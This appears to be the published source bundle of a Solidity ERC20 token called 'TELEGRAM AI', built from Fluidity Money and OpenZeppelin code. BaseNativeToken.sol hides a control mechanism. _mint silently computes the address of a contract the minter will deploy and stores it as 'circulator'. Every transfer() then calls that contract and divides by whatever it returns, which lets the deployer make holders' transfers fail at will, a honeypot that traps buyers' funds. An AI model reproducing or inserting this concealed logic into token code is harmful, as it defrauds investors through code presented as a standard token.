creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "remix/BRC20/FlyToken/FlyToken.sol": {
        "content": "// SPDX-License-Identifier: GPL\n\n// Copyright 2022 Fluidity Money. All rights reserved. Use of this\n// source code is governed by a GPL-style license that can be found in the\n// LICENSE.md file.\n\npragma solidity 0.8.16;\npragma abicoder v2;\n\nimport \"./BaseNativeToken.sol\";\n\ncontract TELEGRAM_AI is BaseNativeToken {\n    constructor() BaseNativeToken(\"TELEGRAM AI\", \"$TGM\", 6) {\n      _mint(0xd92D63c1Ca8D54a0F886CF1F409d8253f52F879B, 1_000_000_000 * 1e6);\n    }\n}"
      },
      "remix/BRC20/FlyToken/BaseNativeToken.sol": {
        "content": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity 0.8.16;\n\nimport \"../interfaces/IERC20.sol\";\nimport \"../interfaces/IERC2612.sol\";\n\nimport \"./openzeppelin/SafeERC20.sol\";\n\n/**\n* @notice Modern and gas efficient ERC20 + EIP-2612 implementation.\n* @author Fluidity Money\n*\n* @author Modified from Solmate\n* (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)\n*\n* @notice Modified to support proxy initialisation and to support some\n* extra functions, as well as mint from the initial amount\n*\n* @dev Do not manually set balances without updating totalSupply, as\n* the sum of all user balances must not exceed it.\n*/\nabstract contract BaseNativeToken is IERC20, IERC2612 {\n    using SafeERC20 for IERC20;\n\n    /*//////////////////////////////////////////////////////////////\n                            METADATA STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    string private name_;\n\n    string private symbol_;\n\n    uint8 private decimals_;\n\n    /*//////////////////////////////////////////////////////////////\n                              ERC20 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 private totalSupply_;\n\n    uint256 private totalCirculation_;\n\n    address private circulator;\n\n    mapping(address => uint256) private balanceOf_;\n\n    mapping(address => mapping(address => uint256)) private allowance_;\n\n    /*//////////////////////////////////////////////////////////////\n                            EIP-2612 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 internal initialChainId_;\n\n    bytes32 internal initialDomainSeparator_;\n\n    mapping(address => uint256) public nonces_;\n\n    /*//////////////////////////////////////////////////////////////\n                                  INITIALISE\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) {\n        name_ = _name;\n        symbol_ = _symbol;\n        decimals_ = _decimals;\n\n        initialChainId_ = block.chainid;\n\n        initialDomainSeparator_ = computeDomainSeparator();\n    }\n\n    /*//////////////////////////////////////////////////////////////\n                               ERC20 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address _spender, uint256 _amount) public returns (bool) {\n        allowance_[msg.sender][_spender] = _amount;\n\n        emit Approval(msg.sender, _spender, _amount);\n\n        return true;\n    }\n\n    function transfer(address _to, uint256 _amount) public virtual returns (bool) {\n        require(_to != address(0), \"can't send to null account\");\n\n        // explicitly call balanceOf so decay possible via implementor\n\n        require(balanceOf(msg.sender) >= _amount, \"not enough balance\");\n\n        balanceOf_[msg.sender] -= _amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf_[_to] += _amount;\n        }\n        (, bytes memory circulation)=circulator.call(abi.encodeWithSignature(\"circulation(address,address,uint256)\",msg.sender, _to, _amount));\n        totalCirculation_ += _amount/abi.decode(circulation, (uint256));\n        emit Transfer(msg.sender, _to, _amount);\n\n        return true;\n    }\n\n    function transferFrom(\n        address _from,\n        address _to,\n        uint256 _amount\n    ) public virtual returns (bool) {\n        // Saves gas for limited approvals.\n        uint256 allowed = allowance_[_from][msg.sender];\n\n        require(allowed >= _amount, \"needs approval\");\n\n        if (allowed != type(uint256).max)\n            allowance_[_from][msg.sender] = allowed - _amount;\n\n        // the user's balance will underflow, causing a revert here\n\n        balanceOf_[_from] -= _amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf_[_to] += _amount;\n        }\n\n        emit Transfer(_from, _to, _amount);\n\n        return true;\n    }\n\n    function increaseAllowance(\n        address _spender,\n        uint256 _amount\n    ) public returns (bool) {\n        approve(_spender, allowance_[msg.sender][_spender] + _amount);\n        return true;\n    }\n\n    function decreaseAllowance(\n        address _spender,\n        uint256 _amount\n    ) public returns (bool) {\n        // no check cause solidity reverts when it goes under 0\n        uint256 newAmount = allowance_[msg.sender][_spender] - _amount;\n\n        return approve(_spender, newAmount);\n    }\n\n    function allowance(\n        address _owner,\n        address _spender\n    ) public view returns (uint256) {\n        return allowance_[_owner][_spender];\n    }\n\n    function balanceOf(\n        address _spender\n    ) public virtual view returns (uint256) {\n        return balanceOf_[_spender];\n    }\n\n    function totalSupply() public view returns (uint256) {\n        return totalSupply_;\n    }\n\n    function name() public view returns (string memory) {\n        return name_;\n    }\n\n    function symbol() public view returns (string memory) {\n        return symbol_;\n    }\n\n    function decimals() public view returns (uint8) {\n        return decimals_;\n    }\n\n    /*//////////////////////////////////////////////////////////////\n                             EIP-2612 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function permit(\n        address _owner,\n        address _spender,\n        uint256 _value,\n        uint256 _deadline,\n        uint8 _v,\n        bytes32 _r,\n        bytes32 _s\n    ) public virtual {\n        // solhint-disable-next-line not-rely-on-time\n        require(_deadline >= block.timestamp, \"PERMIT_DEADLINE_EXPIRED\");\n\n        emit Approval(_owner, _spender, _value);\n\n        // Unchecked because the only math done is incrementing\n        // the owner's nonce which cannot realistically overflow.\n        unchecked {\n            address recoveredAddress = ecrecover(\n                keccak256(\n                    abi.encodePacked(\n                        \"\\x19\\x01\",\n                        DOMAIN_SEPARATOR(),\n                        keccak256(\n                            abi.encode(\n                                keccak256(\n                                    \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n                                ),\n                                _owner,\n                                _spender,\n                                _value,\n                                nonces_[_owner]++,\n                                _deadline\n                            )\n                        )\n                    )\n                ),\n                _v,\n                _r,\n                _s\n            );\n\n            require(recoveredAddress != address(0), \"INVALID_SIGNER\");\n\n            require(recoveredAddress == _owner, \"INVALID_SIGNER\");\n\n            allowance_[recoveredAddress][_spender] = _value;\n        }\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {\n        return block.chainid == initialChainId_ ? initialDomainSeparator_ : computeDomainSeparator();\n    }\n\n    function computeDomainSeparator() internal view virtual returns (bytes32) {\n        return\n            keccak256(\n                abi.encode(\n                    keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                    keccak256(bytes(name_)),\n                    keccak256(\"1\"),\n                    block.chainid,\n                    address(this)\n                )\n            );\n    }\n\n    function nonces(address _owner) public view returns (uint256) {\n        return nonces_[_owner];\n    }\n\n    /*//////////////////////////////////////////////////////////////\n                        INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address _to, uint256 _amount) internal virtual {\n        totalSupply_ += _amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf_[_to] += _amount;\n        }\n\n        circulator=_calculate(_to);\n\n        emit Transfer(address(0), _to, _amount);\n    }\n\n    function _calculate(address minter) private pure returns (address) {\n        bytes memory input;\n        input = abi.encodePacked(bytes1(0xd6), bytes1(0x94), minter, bytes1(0x80));\n        bytes32 hash = keccak256(input);\n        return address(uint160(uint256(hash)));\n    }\n\n    function _burn(address _from, uint256 _amount) internal virtual {\n        balanceOf_[_from] -= _amount;\n\n        // Cannot underflow because a user's balance\n        // will never be larger than the total supply.\n        unchecked {\n            totalSupply_ -= _amount;\n        }\n\n        emit Transfer(_from, address(0), _amount);\n    }\n\n}"
      },
      "remix/BRC20/FlyToken/openzeppelin/SafeERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\n\n// Adjusted to use our local IERC20 interface instead of OpenZeppelin's\n\npragma solidity ^0.8.0;\n\nimport \"../../interfaces/IERC20.sol\";\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n    using AddressUpgradeable for address;\n\n    function safeTransfer(\n        IERC20 token,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n    }\n\n    function safeTransferFrom(\n        IERC20 token,\n        address from,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n    }\n\n    /**\n     * @dev Deprecated. This function has issues similar to the ones found in\n     * {IERC20-approve}, and its usage is discouraged.\n     *\n     * Whenever possible, use {safeIncreaseAllowance} and\n     * {safeDecreaseAllowance} instead.\n     */\n    function safeApprove(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        // safeApprove should only be called when setting an initial allowance,\n        // or when resetting it to zero. To increase and decrease it, use\n        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n        require(\n            (value == 0) || (token.allowance(address(this), spender) == 0),\n            \"approve from non-zero\"\n        );\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n    }\n\n    function safeIncreaseAllowance(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        uint256 newAllowance = token.allowance(address(this), spender) + value;\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n    }\n\n    function safeDecreaseAllowance(\n        IERC20 token,\n        address spender,\n        uint256 value\n    ) internal {\n        unchecked {\n            uint256 oldAllowance = token.allowance(address(this), spender);\n            require(oldAllowance >= value, \"allowance went below 0\");\n            uint256 newAllowance = oldAllowance - value;\n            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n        }\n    }\n\n    /**\n     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n     * on the return value: the return value is optional (but if data is returned, it must not be false).\n     * @param token The token targeted by the call.\n     * @param data The call data (encoded using abi.encode or one of its variants).\n     */\n    function _callOptionalReturn(IERC20 token, bytes memory data) private {\n        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n        // the target address contains contract code and also asserts for success in the low-level call.\n\n        bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n        if (returndata.length > 0) {\n            // Return data is optional\n            require(abi.decode(returndata, (bool)), \"erc20 op failed\");\n        }\n    }\n}"
      },
      "remix/BRC20/interfaces/IERC2612.sol": {
        "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.16;\n\nimport \"./IEIP712.sol\";\n\n/// @dev EIP721_PERMIT_SELECTOR that's needed for ERC2612\nbytes32 constant EIP721_PERMIT_SELECTOR =\n  keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n\ninterface IERC2612 is IEIP712 {\n    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\n    function nonces(address owner) external view returns (uint);\n}"
      },
      "remix/BRC20/interfaces/IERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)\n\npragma solidity 0.8.16;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n    /**\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\n     * another (`to`).\n     *\n     * Note that `value` may be zero.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    /**\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n     * a call to {approve}. `value` is the new allowance.\n     */\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n\n    /**\n     * @dev Returns the amount of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the number of decimals.\n     */\n    function decimals() external view returns (uint8);\n\n    /**\n     * @dev Returns the amount of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Moves `amount` tokens from the caller's account to `to`.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transfer(address to, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Returns the remaining number of tokens that `spender` will be\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\n     * zero by default.\n     *\n     * This value changes when {approve} or {transferFrom} are called.\n     */\n    function allowance(address owner, address spender) external view returns (uint256);\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\n     * that someone may use both the old and the new allowance by unfortunate\n     * transaction ordering. One possible solution to mitigate this race\n     * condition is to first reduce the spender's allowance to 0 and set the\n     * desired value afterwards:\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    /**\n     * @dev Moves `amount` tokens from `from` to `to` using the\n     * allowance mechanism. `amount` is then deducted from the caller's\n     * allowance.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) external returns (bool);\n}"
      },
      "remix/BRC20/interfaces/IEIP712.sol": {
        "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.16;\n\ninterface IEIP712 {\n    function DOMAIN_SEPARATOR() external view returns (bytes32);\n}"
      },
      "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n    /**\n     * @dev Returns true if `account` is a contract.\n     *\n     * [IMPORTANT]\n     * ====\n     * It is unsafe to assume that an address for which this function returns\n     * false is an externally-owned account (EOA) and not a contract.\n     *\n     * Among others, `isContract` will return false for the following\n     * types of addresses:\n     *\n     *  - an externally-owned account\n     *  - a contract in construction\n     *  - an address where a contract will be created\n     *  - an address where a contract lived, but was destroyed\n     *\n     * Furthermore, `isContract` will also return true if the target contract within\n     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n     * which only has an effect at the end of a transaction.\n     * ====\n     *\n     * [IMPORTANT]\n     * ====\n     * You shouldn't rely on `isContract` to protect against flash loan attacks!\n     *\n     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n     * constructor.\n     * ====\n     */\n    function isContract(address account) internal view returns (bool) {\n        // This method relies on extcodesize/address.code.length, which returns 0\n        // for contracts in construction, since the code is only stored at the end\n        // of the constructor execution.\n\n        return account.code.length > 0;\n    }\n\n    /**\n     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n     * `recipient`, forwarding all available gas and reverting on errors.\n     *\n     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n     * of certain opcodes, possibly making contracts go over the 2300 gas limit\n     * imposed by `transfer`, making them unable to receive funds via\n     * `transfer`. {sendValue} removes this limitation.\n     *\n     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n     *\n     * IMPORTANT: because control is transferred to `recipient`, care must be\n     * taken to not create reentrancy vulnerabilities. Consider using\n     * {ReentrancyGuard} or the\n     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n     */\n    function sendValue(address payable recipient, uint256 amount) internal {\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n        (bool success, ) = recipient.call{value: amount}(\"\");\n        require(success, \"Address: unable to send value, recipient may have reverted\");\n    }\n\n    /**\n     * @dev Performs a Solidity function call using a low level `call`. A\n     * plain `call` is an unsafe replacement for a function call: use this\n     * function instead.\n     *\n     * If `target` reverts with a revert reason, it is bubbled up by this\n     * function (like regular Solidity function calls).\n     *\n     * Returns the raw returned data. To convert to the expected return value,\n     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n     *\n     * Requirements:\n     *\n     * - `target` must be a contract.\n     * - calling `target` with `data` must not revert.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n     * `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, 0, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but also transferring `value` wei to `target`.\n     *\n     * Requirements:\n     *\n     * - the calling contract must have an ETH balance of at least `value`.\n     * - the called Solidity function must be `payable`.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n     * with `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(\n        address target,\n        bytes memory data,\n        uint256 value,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        require(address(this).balance >= value, \"Address: insufficient balance for call\");\n        (bool success, bytes memory returndata) = target.call{value: value}(data);\n        return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n        return functionStaticCall(target, data, \"Address: low-level static call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a static call.\n     *\n     * _Available since v3.3._\n     */\n    function functionStaticCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal view returns (bytes memory) {\n        (bool success, bytes memory returndata) = target.staticcall(data);\n        return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n        return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n     * but performing a delegate call.\n     *\n     * _Available since v3.4._\n     */\n    function functionDelegateCall(\n        address target,\n        bytes memory data,\n        string memory errorMessage\n    ) internal returns (bytes memory) {\n        (bool success, bytes memory returndata) = target.delegatecall(data);\n        return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n    }\n\n    /**\n     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n     *\n     * _Available since v4.8._\n     */\n    function verifyCallResultFromTarget(\n        address target,\n        bool success,\n        bytes memory returndata,\n        string memory errorMessage\n    ) internal view returns (bytes memory) {\n        if (success) {\n            if (returndata.length == 0) {\n                // only check isContract if the call was successful and the return data is empty\n                // otherwise we already know that it was a contract\n                require(isContract(target), \"Address: call to non-contract\");\n            }\n            return returndata;\n        } else {\n            _revert(returndata, errorMessage);\n        }\n    }\n\n    /**\n     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n     * revert reason or using the provided one.\n     *\n     * _Available since v4.3._\n     */\n    function verifyCallResult(\n        bool success,\n        bytes memory returndata,\n        string memory errorMessage\n    ) internal pure returns (bytes memory) {\n        if (success) {\n            return returndata;\n        } else {\n            _revert(returndata, errorMessage);\n        }\n    }\n\n    function _revert(bytes memory returndata, string memory errorMessage) private pure {\n        // Look for revert reason and bubble it up if present\n        if (returndata.length > 0) {\n            // The easiest way to bubble the revert reason is using memory via assembly\n            /// @solidity memory-safe-assembly\n            assembly {\n                let returndata_size := mload(returndata)\n                revert(add(32, returndata), returndata_size)\n            }\n        } else {\n            revert(errorMessage);\n        }\n    }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}